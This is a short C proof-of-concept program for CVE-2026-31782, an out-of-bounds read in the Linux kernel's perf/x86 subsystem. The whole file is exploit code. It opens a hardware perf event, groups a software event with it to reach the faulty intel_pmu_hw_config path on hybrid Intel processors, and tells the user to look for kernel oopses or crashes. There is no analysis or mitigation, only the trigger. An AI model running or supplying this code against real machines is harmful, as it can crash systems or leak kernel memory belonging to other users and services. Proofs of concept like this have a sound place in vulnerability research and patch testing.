#include <linux/perf_event.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <errno.h>
// PoC for CVE-2026-31782: Linux Kernel perf/x86 Out-of-Bounds Read
// This PoC attempts to trigger the vulnerability by creating a perf event group
// containing both hardware and software events on a hybrid x86 system.
// The goal is to hit the `intel_pmu_hw_config` path where `container_of` is used
// on a software PMU event, leading to an out-of-bounds read.
static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
int cpu, int group_fd, unsigned long flags) {
return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags);
}
int main() {
struct perf_event_attr pe;
int fd_hw, fd_sw;
memset(&pe, 0, sizeof(pe));
// Configure a hardware event (e.g., instructions)
pe.type = PERF_TYPE_HARDWARE;
pe.size = sizeof(pe);
pe.config = PERF_COUNT_HW_INSTRUCTIONS;
pe.disabled = 1;
pe.exclude_kernel = 0;
pe.exclude_hv = 0;
fd_hw = perf_event_open(&pe, 0, -1, -1, 0);
if (fd_hw == -1) {
perror("Error opening leader HW event");
return -1;
}
// Configure a software event (e.g., context switches) to be added to the group
// Adding a software event to a hardware group may trigger the hybrid PMU logic bug
// if auto counter reload is active.
memset(&pe, 0, sizeof(pe));
pe.type = PERF_TYPE_SOFTWARE;
pe.size = sizeof(pe);
pe.config = PERF_COUNT_SW_CONTEXT_SWITCHES;
// Attempt to add to the group created by fd_hw
fd_sw = perf_event_open(&pe, 0, -1, fd_hw, 0);
if (fd_sw == -1) {
perror("Error opening SW event in group");
close(fd_hw);
return -1;
}
printf("PoC executed successfully. Check kernel logs for OOPS or crashes.\n");
// Enable the group
ioctl(fd_hw, PERF_EVENT_IOC_ENABLE, 0);
close(fd_hw);
close(fd_sw);
return 0;
}